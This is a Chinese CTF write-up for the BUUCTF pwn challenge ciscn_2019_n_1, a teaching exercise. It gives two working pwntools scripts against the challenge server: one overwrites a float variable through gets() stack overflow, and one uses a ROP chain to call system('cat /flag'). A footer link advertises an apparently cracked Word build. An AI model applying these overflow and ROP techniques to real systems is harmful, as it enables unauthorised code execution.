首页 > 其他分享 >BUUCTF—ciscn_2019_n_1

BUUCTF—ciscn_2019_n_1

时间:2022-10-06 20:45:57浏览次数:55  
标签:BUUCTF ciscn p64 11.28125 system 2019 payload ida

先看看开了什么保护机制

打开64位ida看看

如果v2为11.28125,那么就执行system("cat /flag"),这样就可以得到flag了,然后发现v2是局部变量,在栈上,然后还有个gets的栈溢出,所以这题还是比较简单的,不过有一点就是,因为是gets,而不是读入,所以不是简简单单的11.28125,我们应该去ida里看看这个11.28125在内存应该是什么样子的,首先,我们在ida中汇编语言找到if这段对应的部分,在gets之后

找到之后发现下面有三条汇编指令,第一条是把[rbp+var_4]里面的内容拷贝到xmm0里面,第二条就是把xmm0里的内容和cs:dword_4007f4里面的内容比较,第三条就是根据比较结果跳转不同的代码地址去执行,这个很明显就是if的作用,然后第一条的[rbp+var_4]很明显是一个栈上的内容,这个也就是代表v2,那么下面的cs:dword_4007f4就是我们11.28125存放的地址了,双击dword_4007f4查看这个里面的内容

发现是0x41348000,那么把这个覆盖到栈上v2对应的地方就行了

from pwn import*
p=remote('node4.buuoj.cn',28087)
#p=process('./ciscn')
#gdb.attach(p)
payload=b'a'*(0x30-0x4)+p64(0x41348000)
p.sendline(payload)
p.interactive()

这一题其实就是考验ida的使用,当然,如果你会,其实还有一种方法,gets的栈溢出是没有长度限制的,那么你参数给了,system函数地址也给了,还没开地址随机化,我直接覆盖返回地址构造rop不就好了


from pwn import*
p=remote('node4.buuoj.cn',28087)
#p=process('./ciscn')
#gdb.attach(p)
pop_rdi=0x400793
ret=0x400501
catflag=0x4007cc
system=0x400530
payload=b'a'*0x38+p64(pop_rdi)+p64(catflag)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()

标签:BUUCTF,ciscn,p64,11.28125,system,2019,payload,ida
From: https://www.cnblogs.com/xyqer/p/16758432.html

相关文章

  • Microsoft word 2019 for Mac中文激活版
    Microsoftword2019是功能强大的文档编辑工具,被认为是office的主要程序,拥有文字搜索、导航、文档的编辑共享、重点部分的标注等多种功能,word拥有视图学些功能,字体的颜色变......
  • VS 2019设置中文提示
    汉化包下载官方地址https://dotnet.microsoft.com/zh-cn/download/intellisense 解压   解压后将文件zh-hans放到(VS2019默认安装路径)C:\ProgramFiles\d......
  • 2019上半年(上午)网络工程师试题解析
    2019上半年(上午)网络工程师试题解析1.计算机执行指令的过程中,需要由( )产生每条指令的操作信号,并将信号送往相应的部件进行处理,以完成指定的操作。A.CPU的控制器 B.CPU的......
  • PS(Photoshop CC2019)安装教程
    记录一下自己安装PS2019版本的安装过程~先获取安装资料:百度网盘链接:链接:https://pan.baidu.com/s/15tzmq-6JQCdVn378ZFqXJA?pwd=997y 提取码:997y接下来下载文件,进行......
  • vs2019窗口程序使用控制台窗口输出调试信息
     “项目->属性->生成事件->生成后事件->命令行”中添加:editbin/SUBSYSTEM:CONSOLE$(OutDir)\$(ProjectName).exe 别忘添加头文件#include"stdio.h" ......
  • 2018-2019 ACM-ICPC, Asia Seoul Regional Contest(CF GYM 101987) Problem K. TV Sho
    ProblemSolution设\(p_{i,R/B}\)为第\(i\)号节点染成R或B所代表的点。考虑2-SAT,对于每一个猜的操作,其中任意一个与猜的答案颜色不同,则其他两个必须相同。我们暴力进行......
  • 1106 2019数列——15分
    把2019各个数位上的数字2、0、1、9作为一个数列的前4项,用它们去构造一个无穷数列,其中第n(>4)项是它前4项之和的个位数字。例如第5项为2,因为2+0+1+9=12,个位数是......
  • CSP2019 J2参考解析
    目录CSP2019J2P5660[CSP-J2019]数字游戏P5661[CSP-J2019]公交换乘P5662[CSP-J2019]纪念品P5663[CSP-J2019]加工零件CSP2019J2题目传送P5660[CSP-J2019]数......
  • DDCTF2019-HOMEBREW-EVENT-LOOP-md
    title:DDCTF2019HOMEBREWEVENTLOOP.mddate:2022-09-2711:42:22tags:[DDCTF2019]homebreweventloop代码审计fromflaskimportFlask,session,request,Re......
  • ciscn2019华北赛区Day1-Web1dropbox-md
    title:ciscn2019华北赛区Day1Web1dropbox.mddate:2022-06-2620:56:10tags:进去之后呢看到一个登录框然后注册一个账号进去看到有上传文件的东西然后试试上传一个......